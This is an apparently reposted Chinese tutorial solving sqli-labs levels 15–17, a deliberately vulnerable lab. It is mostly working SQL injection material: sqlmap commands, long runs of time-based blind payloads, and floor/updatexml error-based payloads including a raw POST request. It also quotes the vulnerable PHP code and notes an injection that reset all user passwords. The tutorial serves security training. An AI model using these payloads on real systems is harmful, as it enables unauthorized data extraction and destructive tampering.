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  • 【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】

    • Less-15- Blind- Boolian Based- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-15/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BEST

    2)手工注入
    时间盲注放弃用手工了,这里的语句引用自SQLMAP中测试语句

    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>96,0,3)))))sIak) AND 'MEep'='MEepPassword:111
    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>112,0,3)))))sIak) AND 'MEep'='MEepPassword:111
    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>120,0,3)))))sIak) AND 'MEep'='MEepPassword:111
    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>116,0,3)))))sIak) AND 'MEep'='MEepPassword:111
    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>114,0,3)))))sIak) AND 'MEep'='MEepPassword:111
    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>115,0,3)))))sIak) AND 'MEep'='MEepPassword:111
    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))!=115,0,3)))))sIak) AND 'MEep'='MEepPassword:111
    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>64,0,3)))))sIak) AND 'MEep'='MEepPassword:111
    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>96,0,3)))))sIak) AND 'MEep'='MEepPassword:111
    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>112,0,3)))))sIak) AND 'MEep'='MEepPassword:111
    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>120,0,3)))))sIak) AND 'MEep'='MEepPassword:111
    User Name:111' AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>116,0,3)))))sIak) AND 'MEep'='MEepPassword:111

    3)注入点产生代码

    if(isset($_POST['uname']) && isset($_POST['passwd']))
    {
        $uname=$_POST['uname'];
        $passwd=$_POST['passwd'];
        //logging the connection parameters to a file for analysis.
        $fp=fopen('result.txt','a');
        fwrite($fp,'User Name:'.$uname);
        fwrite($fp,'Password:'.$passwd."
    ");
        fclose($fp);
        // connectivity 
        @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);
    • Less-16- Blind- Time Based- Double quotes- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-16/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BEST --risk 3 --level 5

    2)手工注入
    时间盲注放弃用手工了,这里的语句引用自SQLMAP中测试语句

    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>114,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>115,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))!=115,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>104,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>100,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>102,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>101,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))!=101,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>104,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>100,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>98,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>99,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))!=99,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>118,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>117,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))!=117,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>114,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>113,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))!=114,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>104,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>108,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>106,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>105,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))!=105,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>114,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>115,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))!=116,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>124,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>122,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>121,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))!=121,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>32,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>16,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>8,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>4,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>2,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111
    User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>1,0,2)))))cLMQ) AND ("rwXh"="rwXh
    Password:111

     3)注入点产生代码

    // take the variables
    if(isset($_POST['uname']) && isset($_POST['passwd']))
    {
        $uname=$_POST['uname'];
        $passwd=$_POST['passwd'];
        //logging the connection parameters to a file for analysis.
        $fp=fopen('result.txt','a');
        fwrite($fp,'User Name:'.$uname."
    ");
        fwrite($fp,'Password:'.$passwd."
    ");
        fclose($fp);
        // connectivity
        $uname='"'.$uname.'"';
        $passwd='"'.$passwd.'"'; 
        @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);
    • Less-17 Update Query- Error based - String

    1)工具用法:
    经验总结:这里我是登录之后,才成功用SQLMAP注入成功。使用的账户与密码为:Dumb
    有个不靠谱的地方,用update注入语句输入不慎重会不经意间修改其他正常用户密码数据;security库下的USER表中查看发现所有用户密码被更改为0。。。

    工具命令用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-17/index.php" --data "uname=Dumb&passwd=Dumb&submit=Submit" --current-db --batch --threads 10

     2)手工注入

    经验:这关username加入了过滤函数实际注入点在passwd处;

    两种报错注入方法,一种是利用floor报错语句,一种是使用updatexml()报错;

    通过floor报错语句如下(SQLMAP中所使用的注入语句):

    User Name:'Dumb'
    New Password:Dumb' AND (SELECT 8824 FROM(SELECT COUNT(*),CONCAT(0x716a6b7671,(语句),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'noKL'='noKL

     使用updatexml(),手工注入语句如下:

    POST /hacker/sqli-labs-master/Less-17/index.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 88
    uname=admin1&passwd=' and updatexml(1,concat(0x7e,(select database())),1)#&submit=Submit

    3)注入点产生代码

    function check_input($value)
        {
        if(!empty($value))
            {
            // truncation (see comments)
            $value = substr($value,0,15);
            }
            // Stripslashes if magic quotes enabled
            if (get_magic_quotes_gpc())
                {
                $value = stripslashes($value);
                }
            // Quote if not a number
            if (!ctype_digit($value))
                {
                $value = "'" . mysql_real_escape_string($value) . "'";
                }
        else
            {
            $value = intval($value);
            }
        return $value;
        }
    // take the variables
    if(isset($_POST['uname']) && isset($_POST['passwd']))
    {
    //making sure uname is not injectable
    $uname=check_input($_POST['uname']);  
    $passwd=$_POST['passwd'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname."
    ");
    fwrite($fp,'New Password:'.$passwd."
    ");
    fclose($fp);
    // connectivity 
    @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    //echo $row;
        if($row)
        {
            //echo '<font color= "#0000ff">';   
            $row1 = $row['username'];     
            //echo 'Your Login name:'. $row1;
            $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
            mysql_query($update);
            echo "<br>";



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  • 原文地址:https://www.cnblogs.com/17bdw/p/5558045.html
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